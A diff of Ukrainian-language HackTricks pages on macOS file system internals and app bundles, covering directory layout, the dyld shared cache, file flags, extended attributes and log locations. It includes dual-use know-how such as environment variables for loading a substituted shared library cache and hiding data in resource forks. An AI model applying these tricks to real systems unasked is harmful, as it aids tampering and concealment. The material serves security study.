|
||||
* **Системні додатки** розташовані в `/System/Applications`
|
||||
* **Встановлені** додатки зазвичай встановлюються в `/Applications` або в `~/Applications`
|
||||
* **Дані додатків** можна знайти в `/Library/Application Support` для додатків, які працюють як root, та `~/Library/Application Support` для додатків, які працюють як користувач.
|
||||
* Демони **сторонніх додатків**, які **потребують запуску як root**, зазвичай розташовані в `/Library/PrivilegedHelperTools/`
|
||||
* **Додатки в пісочниці** відображаються в теку `~/Library/Containers`. Кожен додаток має теку з назвою, що відповідає ідентифікатору пакета додатка (`com.apple.Safari`).
|
||||
* **Ядро** розташоване в `/System/Library/Kernels/kernel`
|
||||
* **Розширення ядра Apple** розташовані в `/System/Library/Extensions`
|
||||
* **Розширення ядра сторонніх виробників** зберігаються в `/Library/Extensions`
|
||||
* **Системні додатки** розташовані у `/System/Applications`
|
||||
* **Встановлені** додатки зазвичай встановлюються у `/Applications` або у `~/Applications`
|
||||
* **Дані додатків** можна знайти у `/Library/Application Support` для додатків, які працюють як root, та у `~/Library/Application Support` для додатків, які працюють як користувач.
|
||||
* Демони сторонніх додатків, які **потребують запуску як root**, зазвичай розташовані у `/Library/PrivilegedHelperTools/`
|
||||
* **Додатки в пісочниці** відображаються у теку `~/Library/Containers`. У кожного додатка є тека, названа відповідно до ідентифікатора пакета додатка (`com.apple.Safari`).
|
||||
* **Ядро** розташоване у `/System/Library/Kernels/kernel`
|
||||
* **Розширення ядра Apple** розташовані у `/System/Library/Extensions`
|
||||
* **Розширення ядра сторонніх виробників** зберігаються у `/Library/Extensions`
|
||||
|
||||
### Файли з чутливою інформацією
|
||||
### Файли з Чутливою Інформацією
|
||||
|
||||
macOS зберігає інформацію, таку як паролі, в кількох місцях:
|
||||
macOS зберігає інформацію, таку як паролі, в декількох місцях:
|
||||
|
||||
{% content-ref url="macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-sensitive-locations.md)
|
||||
|
@ -57,9 +58,9 @@ macOS зберігає інформацію, таку як паролі, в кі
|
|||
[macos-installers-abuse.md](macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Особливі розширення OS X
|
||||
## Особливі Розширення OS X
|
||||
|
||||
* **`.dmg`**: Файли образів дисків Apple дуже поширені для програм-інсталяторів.
|
||||
* **`.dmg`**: Файли образів дисків Apple є дуже поширеними для програм-інсталяторів.
|
||||
* **`.kext`**: Вони повинні мати певну структуру і є версією драйвера для OS X. (це пакет)
|
||||
* **`.plist`**: Також відомий як property list, зберігає інформацію у форматі XML або бінарному форматі.
|
||||
* Може бути XML або бінарний. Бінарні можна прочитати за допомогою:
|
||||
|
@ -69,28 +70,32 @@ macOS зберігає інформацію, таку як паролі, в кі
|
|||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: Додатки Apple, які слідують структурі теки (це пакет).
|
||||
* **`.dylib`**: Динамічні бібліотеки (подібні до файлів DLL у Windows)
|
||||
* **`.dylib`**: Динамічні бібліотеки (схожі на файли DLL у Windows)
|
||||
* **`.pkg`**: Це те саме, що й xar (eXtensible Archive format). Команда installer може використовуватися для встановлення вмісту цих файлів.
|
||||
* **`.DS_Store`**: Цей файл є в кожній текі, він зберігає атрибути та налаштування теки.
|
||||
* **`.Spotlight-V100`**: Ця тека з'являється в кореневій текі кожного тому в системі.
|
||||
* **`.metadata_never_index`**: Якщо цей файл знаходиться в корені тому, Spotlight не індексуватиме цей том.
|
||||
* **`.noindex`**: Файли та теки з цим розширенням не будуть індексуватися Spotlight.
|
||||
* **`.sdef`**: Файли всередині пакетів, що вказують, як можна взаємодіяти з додатком з AppleScript.
|
||||
|
||||
### Пакети macOS
|
||||
|
||||
Пакет - це **тека**, яка **виглядає як об'єкт у Finder** (приклад пакетів - файли `*.app`).
|
||||
Пакет - це **тека**, яка **виглядає як об'єкт у Finder** (прикладом пакету є файли `*.app`).
|
||||
|
||||
{% content-ref url="macos-bundles.md" %}
|
||||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Кеш спільних бібліотек Dyld
|
||||
## Кеш Спільних Бібліотек Dyld (SLC)
|
||||
|
||||
На macOS (і iOS) всі системні спільні бібліотеки, такі як фреймворки та dylib, **об'єднані в один файл**, який називається **кешем спільних бібліотек dyld**. Це покращує продуктивність, оскільки код може завантажуватися швидше.
|
||||
У macOS (і iOS) всі системні спільні бібліотеки, такі як фреймворки та dylib, **об'єднані в один файл**, який називається **кешем спільних бібліотек dyld**. Це покращує продуктивність, оскільки код може завантажуватися швидше.
|
||||
|
||||
Аналогічно до кешу спільних бібліотек dyld, ядро та розширення ядра також компілюються в кеш ядра, який завантажується під час завантаження.
|
||||
Це розташовано в macOS у `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`, а в старіших версіях ви можете знайти **спільний кеш** у **`/System/Library/dyld/`**.\
|
||||
У iOS ви можете знайти їх у **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
|
||||
Для вилучення бібліотек з одного файлу кешу спільних бібліотек dylib можна було використовувати бінарний файл [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip), який можливо зараз не працює, але ви також можете використовувати [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
Подібно до кешу спільних бібліотек dyld, ядро та розширення ядра також компілюються в кеш ядра, який завантажується під час завантаження системи.
|
||||
|
||||
Для вилучення бібліотек з одного файлу кешу спільних бібліотек dylib можна було використовувати бінарний файл [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip), який зараз може не працювати, але ви також можете використовувати [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -104,45 +109,62 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
У старіших версіях ви можете знайти **спільний кеш** в **`/System/Library/dyld/`**.
|
||||
|
||||
У iOS ви можете знайти їх в **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Зверніть увагу, що навіть якщо інструмент `dyld_shared_cache_util` не працює, ви можете передати **спільний dyld бінарний файл в Hopper** і Hopper зможе ідентифікувати всі бібліотеки та дозволить вам **вибрати, яку саме** ви хочете дослідити:
|
||||
Зверніть увагу, що навіть якщо інструмент `dyld_shared_cache_util` не працює, ви можете передати **спільний dyld-бінарний файл Hopper** і Hopper зможе ідентифікувати всі бібліотеки та дозволить вам **вибрати, яку саме** ви хочете дослідити:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Деякі екстрактори можуть не працювати, оскільки dylibs попередньо зв'язані з жорстко закодованими адресами, тому вони можуть переходити на невідомі адреси.
|
||||
|
||||
{% hint style="success" %}
|
||||
Також можна завантажити Спільний Кеш Бібліотек інших \*OS пристроїв у macOS, використовуючи емулятор у Xcode. Вони будуть завантажені за адресою: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, наприклад: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
|
||||
{% endhint %}
|
||||
|
||||
### Картографування SLC
|
||||
|
||||
**`dyld`** використовує системний виклик **`shared_region_check_np`** для визначення того, чи було змаповано SLC (який повертає адресу), та **`shared_region_map_and_slide_np`** для мапування SLC.
|
||||
|
||||
Зверніть увагу, що навіть якщо SLC зміщено при першому використанні, всі **процеси** використовують **одну копію**, що **скасовує захист ASLR**, якщо зловмисник зміг запустити процеси в системі. Це фактично використовувалося у минулому і виправлено за допомогою спільного регіону пейджера.
|
||||
|
||||
Базові групи - це невеликі Mach-O dylibs, які створюють невеликі проміжки між відображеннями зображень, що робить неможливим перехоплення функцій.
|
||||
|
||||
### Перевизначення SLC
|
||||
|
||||
Використовуючи змінні середовища:
|
||||
|
||||
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Це дозволить завантажити новий спільний кеш бібліотек
|
||||
* **`DYLD_SHARED_CACHE_DIR=avoid`** та вручну замінюйте бібліотеки символічними посиланнями на спільний кеш з реальними (їх потрібно видобути)
|
||||
|
||||
## Спеціальні дозволи на файли
|
||||
|
||||
### Дозволи на теки
|
||||
|
||||
У **теці**, **читання** дозволяє **переглядати її**, **запис** дозволяє **видаляти** та **записувати** файли в ній, а **виконання** дозволяє **переміщатися** по каталозі. Таким чином, наприклад, користувач з **дозволом на читання файлу** всередині каталогу, де він **не має дозволу на виконання**, **не зможе прочитати** файл.
|
||||
У **теці** **читання** дозволяє **переглядати її**, **запис** дозволяє **видаляти** та **записувати** файли в ній, а **виконання** дозволяє **переміщатися** по каталозі. Таким чином, наприклад, користувач з **дозволом на читання файлу** всередині каталогу, де він **не має дозволу на виконання**, **не зможе прочитати** файл.
|
||||
|
||||
### Модифікатори прапорців
|
||||
|
||||
Є деякі прапорці, які можуть бути встановлені в файлах, що змінюють поведінку файлу. Ви можете **перевірити прапорці** файлів всередині каталогу за допомогою `ls -lO /шлях/до/каталогу`
|
||||
Є деякі прапорці, які можна встановити в файлах, що змінять поведінку файлу. Ви можете **перевірити прапорці** файлів у каталозі за допомогою `ls -lO /path/directory`
|
||||
|
||||
* **`uchg`**: Відомий як прапорець **uchange**, запобігає будь-яким діям зміни або видалення **файлу**. Щоб встановити його, виконайте: `chflags uchg file.txt`
|
||||
* **`uchg`**: Відомий як прапорець **uchange**, запобігає будь-яким діям, що змінюють або видаляють **файл**. Щоб встановити його, виконайте: `chflags uchg file.txt`
|
||||
* Користувач root може **видалити прапорець** та змінити файл
|
||||
* **`restricted`**: Цей прапорець робить файл **захищеним за допомогою SIP** (ви не можете додати цей прапорець до файлу).
|
||||
* **`restricted`**: Цей прапорець робить файл **захищеним SIP** (ви не можете додати цей прапорець до файлу).
|
||||
* **`Sticky bit`**: Якщо в каталозі встановлено прапорець Sticky bit, **тільки** власник каталогу або root можуть **перейменовувати або видаляти** файли. Зазвичай це встановлено в каталозі /tmp, щоб запобігти звичайним користувачам видаленню або переміщенню файлів інших користувачів.
|
||||
|
||||
Усі прапорці можна знайти в файлі `sys/stat.h` (знайдіть його за допомогою `mdfind stat.h | grep stat.h`) і це:
|
||||
Усі прапорці можна знайти у файлі `sys/stat.h` (знайдіть його за допомогою `mdfind stat.h | grep stat.h`) і це:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff: Маска прапорців, які може змінити власник.
|
||||
* `UF_SETTABLE` 0x0000ffff: Маска флагів, які може змінювати власник.
|
||||
* `UF_NODUMP` 0x00000001: Не викидати файл.
|
||||
* `UF_IMMUTABLE` 0x00000002: Файл не може бути змінений.
|
||||
* `UF_APPEND` 0x00000004: Записи в файл можуть бути лише додані.
|
||||
* `UF_OPAQUE` 0x00000008: Каталог є непрозоримим щодо об'єднання.
|
||||
* `UF_COMPRESSED` 0x00000020: Файл стиснутий (деякі файлові системи).
|
||||
* `UF_TRACKED` 0x00000040: Немає сповіщень про видалення/перейменування для файлів з цим набором.
|
||||
* `UF_DATAVAULT` 0x00000080: Потрібно дозвіл для читання та запису.
|
||||
* `UF_DATAVAULT` 0x00000080: Потрібен дозвіл для читання та запису.
|
||||
* `UF_HIDDEN` 0x00008000: Підказка, що цей елемент не повинен відображатися в графічному інтерфейсі.
|
||||
* `SF_SUPPORTED` 0x009f0000: Маска прапорців, які підтримує суперкористувач.
|
||||
* `SF_SETTABLE` 0x3fff0000: Маска прапорців, які може змінити суперкористувач.
|
||||
* `SF_SYNTHETIC` 0xc0000000: Маска системних тільки для читання синтетичних прапорців.
|
||||
* `SF_SUPPORTED` 0x009f0000: Маска флагів, які підтримує суперкористувач.
|
||||
* `SF_SETTABLE` 0x3fff0000: Маска флагів, які може змінювати суперкористувач.
|
||||
* `SF_SYNTHETIC` 0xc0000000: Маска системних флагів тільки для читання.
|
||||
* `SF_ARCHIVED` 0x00010000: Файл заархівований.
|
||||
* `SF_IMMUTABLE` 0x00020000: Файл не може бути змінений.
|
||||
* `SF_APPEND` 0x00040000: Записи в файл можуть бути лише додані.
|
||||
|
@ -178,11 +200,11 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
|||
Розширені атрибути мають назву та бажане значення, і можуть бути переглянуті за допомогою `ls -@` та змінені за допомогою команди `xattr`. Деякі поширені розширені атрибути:
|
||||
|
||||
* `com.apple.resourceFork`: Сумісність ресурсного виливу. Також видимий як `filename/..namedfork/rsrc`
|
||||
* `com.apple.quarantine`: MacOS: Механізм карантину Gatekeeper (III/6)
|
||||
* `metadata:*`: MacOS: різноманітні метадані, такі як `_backup_excludeItem`, або `kMD*`
|
||||
* `com.apple.quarantine`: MacOS: механізм карантину Gatekeeper (III/6)
|
||||
* `metadata:*`: MacOS: різноманітна метадані, такі як `_backup_excludeItem`, або `kMD*`
|
||||
* `com.apple.lastuseddate` (#PS): Дата останнього використання файлу
|
||||
* `com.apple.FinderInfo`: MacOS: Інформація Finder (наприклад, кольорові мітки)
|
||||
* `com.apple.TextEncoding`: Вказує кодування тексту файлів ASCII
|
||||
* `com.apple.TextEncoding`: Вказує кодування тексту для файлів ASCII
|
||||
* `com.apple.logd.metadata`: Використовується logd на файлах у `/var/db/diagnostics`
|
||||
* `com.apple.genstore.*`: Генераційне сховище (`/.DocumentRevisions-V100` в корені файлової системи)
|
||||
* `com.apple.rootless`: MacOS: Використовується захистом цілісності системи для позначення файлу (III/10)
|
||||
|
@ -193,7 +215,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
|||
|
||||
### Ресурсні виливи | macOS ADS
|
||||
|
||||
Це спосіб отримання **Альтернативних потоків даних в MacOS**. Ви можете зберегти вміст всередині розширеного атрибуту з назвою **com.apple.ResourceFork** всередині файлу, зберігаючи його у **file/..namedfork/rsrc**.
|
||||
Це спосіб отримання **Альтернативних потоків даних в MacOS**. Ви можете зберегти вміст всередині розширеного атрибуту під назвою **com.apple.ResourceFork** всередині файлу, зберігаючи його в **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
@ -210,22 +232,26 @@ ls -l a.txt #The file length is still q
|
|||
```bash
|
||||
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### decmpfs
|
||||
|
||||
Розширений атрибут `com.apple.decmpfs` вказує, що файл зберігається у зашифрованому вигляді, `ls -l` повідомить про **розмір 0**, а стислі дані знаходяться у цьому атрибуті. Кожного разу, коли файл доступний, він буде розшифрований у пам'яті.
|
||||
Розширений атрибут `com.apple.decmpfs` вказує на те, що файл зберігається зашифрованим, `ls -l` повідомить про **розмір 0**, а стислі дані знаходяться в цьому атрибуті. Кожного разу, коли файл доступний, він буде розшифрований в пам'яті.
|
||||
|
||||
Цей атрибут можна побачити за допомогою `ls -lO`, вказаний як стиснутий, оскільки стиснені файли також позначаються прапорцем `UF_COMPRESSED`. Якщо стиснутий файл видалити цей прапорець за допомогою `chflags nocompressed </шлях/до/файлу>`, система не буде знати, що файл був стиснутий, і тому не зможе розпакувати та отримати доступ до даних (вона буде вважати, що файл насправді порожній).
|
||||
Цей атрибут можна побачити за допомогою `ls -lO`, вказаний як стислий, оскільки стислі файли також позначаються прапорцем `UF_COMPRESSED`. Якщо стислий файл видалити цей прапорець за допомогою `chflags nocompressed </шлях/до/файлу>`, система не буде знати, що файл був стиснутий, і, отже, не зможе розпакувати та отримати доступ до даних (вона буде вважати, що файл насправді порожній).
|
||||
|
||||
Інструмент afscexpand можна використовувати для примусового розпакування файлу.
|
||||
|
||||
## **Універсальні бінарники та** Формат Mach-o
|
||||
## **Універсальні бінарні файли та** Формат Mach-o
|
||||
|
||||
Бінарники Mac OS зазвичай компілюються як **універсальні бінарники**. **Універсальний бінарник** може **підтримувати кілька архітектур у одному файлі**.
|
||||
Бінарні файли Mac OS зазвичай компілюються як **універсальні бінарні файли**. **Універсальний бінарний файл** може **підтримувати кілька архітектур у одному файлі**.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Пам'ять процесів macOS
|
||||
|
||||
## Витяг пам'яті macOS
|
||||
|
||||
{% content-ref url="macos-memory-dumping.md" %}
|
||||
|
@ -234,34 +260,35 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
|||
|
||||
## Файли категорії ризику Mac OS
|
||||
|
||||
Каталог `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` - це місце, де зберігається інформація про **ризики, пов'язані з різними розширеннями файлів**. Цей каталог категоризує файли на різні рівні ризику, що впливає на те, як Safari обробляє ці файли під час завантаження. Категорії наступні:
|
||||
Каталог `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` - це місце, де зберігається інформація про **ризики, пов'язані з різними розширеннями файлів**. Цей каталог категоризує файли на різні рівні ризику, впливаючи на те, як Safari обробляє ці файли під час завантаження. Категорії наступні:
|
||||
|
||||
* **LSRiskCategorySafe**: Файли цієї категорії вважаються **повністю безпечними**. Safari автоматично відкриє ці файли після їх завантаження.
|
||||
* **LSRiskCategoryNeutral**: Ці файли не супроводжуються жодними попередженнями і **не відкриваються автоматично** Safari.
|
||||
* **LSRiskCategorySafe**: Файли в цій категорії вважаються **повністю безпечними**. Safari автоматично відкриє ці файли після їх завантаження.
|
||||
* **LSRiskCategoryNeutral**: Ці файли не мають попереджень і **не відкриваються автоматично** Safari.
|
||||
* **LSRiskCategoryUnsafeExecutable**: Файли цієї категорії **спричиняють попередження**, що файл є додатком. Це слугує як захисний захід для попередження користувача.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Ця категорія призначена для файлів, таких як архіви, які можуть містити виконуваний файл. Safari спричинить **попередження**, якщо вона не може перевірити, що всі вміст безпечні або нейтральні.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Ця категорія призначена для файлів, таких як архіви, які можуть містити виконуваний файл. Safari **спричинить попередження**, якщо вона не може перевірити, що всі вміст безпечні або нейтральні.
|
||||
|
||||
## Файли журналів
|
||||
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Містить інформацію про завантажені файли, таку як URL, звідки вони були завантажені.
|
||||
* **`/var/log/system.log`**: Основний журнал систем OSX. com.apple.syslogd.plist відповідає за виконання системного журналювання (можна перевірити, чи воно вимкнене, шукаючи "com.apple.syslogd" в `launchctl list`.
|
||||
* **`/private/var/log/asl/*.asl`**: Це журнали системи Apple, які можуть містити цікаву інформацію.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Зберігає нещодавно відкриті файли та програми через "Finder".
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Зберігає елементи для запуску при запуску системи.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: Файл журналу для програми DiskUtility (інформація про диски, включаючи USB-накопичувачі).
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Зберігає недавно відкриті файли та програми через "Finder".
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Зберігає елементи для запуску при запуску системи
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: Файл журналу для програми DiskUtility (інформація про диски, включаючи USB-накопичувачі)
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Дані про бездротові точки доступу.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Список демонів, які вимкнені.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Бандли macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Бандли в macOS служать контейнерами для різноманітних ресурсів, включаючи програми, бібліотеки та інші необхідні файли, що робить їх вигляд схожими на один об'єкт у Finder, такі як знайомі файли `*.app`. Найпоширенішим бандлом є бандл `.app`, хоча інші типи, такі як `.framework`, `.systemextension` та `.kext`, також поширені.
|
||||
Бандли в macOS служать контейнерами для різноманітних ресурсів, включаючи програми, бібліотеки та інші необхідні файли, що робить їх вигляд схожими на один об'єкт у Finder, наприклад, відомі файли `*.app`. Найпоширенішим бандлом є бандл `.app`, хоча інші типи, такі як `.framework`, `.systemextension` та `.kext`, також поширені.
|
||||
|
||||
### Основні компоненти бандлу
|
||||
|
||||
У бандлі, зокрема у каталозі `<application>.app/Contents/`, розміщено різноманітні важливі ресурси:
|
||||
|
||||
* **\_CodeSignature**: Цей каталог зберігає важливі дані підписування коду для перевірки цілісності програми. Ви можете переглянути інформацію про підпис коду за допомогою команд, наприклад: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
* **\_CodeSignature**: Цей каталог зберігає важливі дані підписування коду, необхідні для перевірки цілісності програми. Ви можете переглянути інформацію про підпис коду за допомогою команд, наприклад: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
* **MacOS**: Містить виконуваний бінарний файл програми, який запускається при взаємодії з користувачем.
|
||||
* **Resources**: Сховище компонентів інтерфейсу користувача програми, включаючи зображення, документи та описи інтерфейсу (файли nib/xib).
|
||||
* **Info.plist**: Діє як основний файл конфігурації програми, важливий для системи для визнання та взаємодії з програмою належним чином.
|
||||
|
@ -31,7 +32,7 @@
|
|||
|
||||
Файл `Info.plist` є важливим для конфігурації програми, містить ключі, такі як:
|
||||
|
||||
* **CFBundleExecutable**: Вказує назву головного виконуваного файлу, розташованого в каталозі `Contents/MacOS`.
|
||||
* **CFBundleExecutable**: Вказує назву основного виконуваного файлу, розташованого в каталозі `Contents/MacOS`.
|
||||
* **CFBundleIdentifier**: Надає глобальний ідентифікатор програми, який широко використовується macOS для управління програмами.
|
||||
* **LSMinimumSystemVersion**: Вказує мінімальну версію macOS, необхідну для запуску програми.
|
||||
|
||||
|
@ -39,7 +40,7 @@
|
|||
|
||||
Для дослідження вмісту бандлу, такого як `Safari.app`, можна використати наступну команду: `bash ls -lR /Applications/Safari.app/Contents`
|
||||
|
||||
Це дослідження розкриває каталоги, такі як `_CodeSignature`, `MacOS`, `Resources`, та файли, такі як `Info.plist`, кожен з яких виконує унікальну функцію від захисту програми до визначення її інтерфейсу користувача та операційних параметрів.
|
||||
Це дослідження розкриває каталоги, такі як `_CodeSignature`, `MacOS`, `Resources`, та файли, такі як `Info.plist`, кожен з яких виконує унікальну функцію від забезпечення програми до визначення її інтерфейсу користувача та операційних параметрів.
|
||||
|
||||
#### Додаткові каталоги бандлу
|
||||
|
||||
|
@ -49,20 +50,21 @@
|
|||
* **PlugIns**: Каталог для плагінів та розширень, які покращують можливості програми.
|
||||
* **XPCServices**: Містить XPC-сервіси, використовувані програмою для міжпроцесної комунікації.
|
||||
|
||||
Ця структура забезпечує, що всі необхідні компоненти увібрані в бандл, сприяючи модулярному та безпечному середовищу програми.
|
||||
Ця структура забезпечує усі необхідні компоненти, укладені в бандл, що сприяє модульному та безпечному середовищу програми.
|
||||
|
||||
Для отримання більш детальної інформації про ключі `Info.plist` та їх значення, документація розробника Apple надає обширні ресурси: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
